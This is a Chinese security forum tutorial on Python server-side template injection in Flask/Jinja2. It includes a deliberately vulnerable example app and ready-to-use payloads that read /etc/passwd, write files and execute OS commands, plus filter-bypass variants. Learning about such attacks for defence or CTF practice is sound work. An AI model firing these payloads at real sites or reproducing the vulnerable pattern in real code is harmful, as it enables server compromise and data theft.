-
-
[原创]Python模板注入(SSTI)基础
-
发表于: 2021-9-27 22:26 8020
-
一、SSTi服务器端模板注入的概念
SSTI服务器端模板注入(Server-Side Template Injection),我们常见的注入有我们熟悉的SQL注入,两者的不通之处就是SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity,而两者的相同部分就是先从用户处获得值作为web应用模板内容的一部分,然后进行编译渲染,如果在其中用户插入了恶意内容,就可能导致一系列的不良后果,比如RCE、信息泄露、getshell等等(凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎,本文针对Python做主要学习)
1 | 服务端 - >模板文件 - >模板引擎 - >用户端 |
二、Flask基础
因为常用到SSTi的网站都是Python的网站
所以我在这里会记录一下Flask的基础,以便于学习
1、Flask简介
- Flask是一个Python上的web应用框架
- web应用框架是一个库和模块的集合,使web应用程序开发人员能够编写web应用程序,而不必担心协议,线程管理等低级细节
- 基于Werkzeug WSGI工具箱和Jinja2 模板引擎
Werkzeug 是一个 Python 的 HTTP 和 WSGI 工具库,可以方便的在 Python 程序中处理 HTTP 协议相关内容。
功能包括:
- HTTP header 解析和输出
- 易用的 request 和 response 对象
- 交互式 JavaScript 的浏览器调试器
- 100% WSGI 1.0 兼容
- 支持 Python 2.6, 2.7 和 3.3.
- 支持 Unicode
- 支持基本的 session 和签名 cookie
- 支持 unicode 的 URI 和 IRI 工具
- 内建用于修复 WSGI 服务器和浏览器 bug 的库
- 集成 URL 路由
Jinja 是基于python的模板引擎,功能比较类似于于PHP的smarty,J2ee的Freemarker和velocity。
示例代码:
1 2 3 4 5 6 7 8 9 | from flask import Flask, render_template_string app = Flask(__name__) @app .route( "/" ) def hello(): return render_template_string( "Hello {{name}}" ,name = 'world' ); if __name__ = = "__main__" : app.run() |
(1).Jinjia模板特点
1 2 3 | {{...}}:装载一个变量,模板渲染时,会使用传进来的同名参数变量的代表值替换 { % ... % }:装载一个控制语句 { #...#}:装载一个注释,模板渲染的时候会忽视这中间的值 |
(2).Jinja2中for循环的内置常量
常量 | 说明 |
---|---|
loop.index | 当前迭代的索引(从0开始) |
loop.first | 是否是第一次迭代,返回true or false |
loop.last | 是否是最后一次迭代,返回true or false |
loop.length | 序列的长度 |
不可以使用
continue
和break
表达式来控制循环的执行
(3).过滤器
过滤器是通过管道符|
来使用的,例如{{name|length}}
:来返回name的长度
过滤器想当于一个函数,把当前的变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值然后把结果渲染到页面中
三、SSTi漏洞的产生
1、漏洞成因
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性
如果再渲染之前,存在接受用户输入的操作,并且未经任何处理就将其作为 Web 应用模板内容的一部分,就有可能造成SSTi漏洞的产生
举一个例子:
1 2 3 4 5 6 7 8 9 10 11 | from flask import Flask, render_template_string from flask. globals import request from jinja2 import Template app = Flask(__name__) @app .route( "/" ) def hello(): name = request.args.get( 'name' , 'hack' ) info = Template( "Hello " + name) return info.render() if __name__ = = "__main__" : app.run() |
源码中在渲染前就存在着接受用户输入的操作,我们可以验证一下是否可以注入
我们传入测试payload
可以看到测试payload被成功执行
此时我们就证明漏洞存在,也就意味着我们能够在这个注入点执行该模板引擎的控制语句寄命令
Flask SSTi漏洞的基本思路就是利用Python中的各种魔术方法来利用
四、漏洞利用
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等
魔术方法 | 说明 |
---|---|
__dict__ |
保存类实例或对象实例的属性变量键值对字典 |
__class__ |
返回调用的参数类型 |
__mro__ |
返回一个包含对象所继承的基类元素,方法在解析时按照元组的顺序解析 |
__base__ |
返回该对象所继承的基类 |
__subclasses__ |
返回object的子类 |
__init__ |
类的初始化方法 |
__globals__ |
函数会以字典类型放回当前位置的全部全局变量与func_globals等价 |
__bases__ |
返回该对象所继承的类型列表 |
1、基本步骤
1.基础利用
使用魔术方法进行函数解析,获取基本类
1 2 3 4 | ''.__class__.__mro__[ 2 ] {}.__class__.__bases__[ 0 ] ().__class__.__bases__[ 0 ] [].__class__.__bases__[ 0 ] |
获取基本类后,继续获取基本类的object的子类
1 | object .__subclasses__() |
这里可能子类中含有可以利用的函数,例如eval等
也可以利用模板控制语句
例如这样:
1 2 3 4 5 6 7 | { % for c in ''.__class__.__base__.__subclasses__() % } { % if 'os' in c.__init__.__globals__ % } {{loop.index0 ~ '_' ~c.__name__~ '-' }} { % else % } {{ '-' }} { % endif % } { % endfor % } |
2.利用内置模块执行命令
上面的实例中我们使用dir把内置的对象列举出来,其实可以用globals更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行
利用控制语句找到可用的模块,或者builtins
1 2 3 4 5 6 | { % for c in ''.__class__.__base__.__subclasses__() % } { % if '__builtins__' in c.__init__.__globals__ % } {{loop.index0 ~ '_' ~c.__name__~ '-' }} { % else % } {{ '-' }} { % endif % } |
1 | {{' '.__class__.__base__.__subclasses__()[81].__init__.__globals__[' __builtins__']}} |
2.一些常用的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | / / 获取基本类 ''.__class__.__mro__[ 1 ] {}.__class__.__bases__[ 0 ] ().__class__.__bases__[ 0 ] [].__class__.__bases__[ 0 ] object / / 读文件 ().__class__.__bases__[ 0 ].__subclasses__()[ 40 ](r 'C:\1.php' ).read() object .__subclasses__()[ 40 ](r 'C:\1.php' ).read() / / 写文件 ().__class__.__bases__[ 0 ].__subclasses__()[ 40 ]( '/var/www/html/input' , 'w' ).write( '123' ) object .__subclasses__()[ 40 ]( '/var/www/html/input' , 'w' ).write( '123' ) / / 执行任意命令 ().__class__.__bases__[ 0 ].__subclasses__()[ 59 ].__init__.func_globals.values()[ 13 ][ 'eval' ]( '__import__("os").popen("ls /var/www/html").read()' ) object .__subclasses__()[ 59 ].__init__.func_globals.values()[ 13 ][ 'eval' ]( '__import__("os").popen("ls /var/www/html").read()' ) |
查找命令
1 2 3 4 5 6 7 8 9 10 11 | { % for c in [].__class__.__base__.__subclasses__() % } { % if c.__name__ = = 'catch_warnings' % } { % for b in c.__init__.__globals__.values() % } { % if b.__class__ = = {}.__class__ % } { % if 'eval' in b.keys() % } {{ b[ 'eval' ]( '__import__("os").popen("id").read()' ) }} / / poppen的参数就是要执行的命令 { % endif % } { % endif % } { % endfor % } { % endif % } { % endfor % } |
3.命令执行
1、os.system()
用法:os.system(command)
但是用这个无法回显
2、os.popen()
用法:os.popen(command[,mode[,bufsize]])
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
还需要了解一个魔法函数
globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
1 | ().__class__.__bases__[ 0 ].__subclasses__()[ 59 ].__init__.func_globals.values()[ 13 ][ 'eval' ]( '__import__("os").popen("ls ").read()' ) |
4、Bypas
如果遇到了过滤的情况,可以利用一下方式
1.拼接
例子:
1 | object .__subclasses__()[ 59 ].__init__.func_globals[ 'linecache' ].__dict__[ 'o' + 's' ].__dict__[ 'sy' + 'stem' ]( 'ls' ) |
2.过滤""[]
例子:
借助request对象:
request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参
1 | {{ ().__class__.__bases__.__getitem__( 0 ).__subclasses__().pop( 40 )(request.args.path).read() }}&path = / etc / passwd |
3.过滤双下划线__
还是request方法
例子:
1 2 3 | {{ ' '[request.args.class][request.args.mro][2][request.args.subclasses]()[40](' / etc / passwd').read() }}& class = __class__&mro = __mro__&subclasses = __subclasses__ |
4.过滤一些函数名如import等
例子:
python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路
我们可以直接用 eval() exec() execfile()等
1 | __builtins__. eval () |
五、参考文章
https://www.cnblogs.com/bmjoker/p/13508538.html
https://www.cnblogs.com/Xy--1/p/12841941.html#gallery-1
https://www.cnblogs.com/chalan630/p/12578418.html#%E4%B8%80-%E4%BB%80%E4%B9%88%E6%98%AFssti
https://xz.aliyun.com/t/3679
https://xz.aliyun.com/t/7746#toc-10
赞赏
- 牧云·主机管理助手测评 6582
- [原创]JAVA安全—反射 812
- [原创]CISCN2022-东北赛区半决赛eztp解题思路 13033
- [XCTF]第四期个人能力认证考核个人wp 9655
- [原创]记录一次对某CMS漏洞挖掘 1449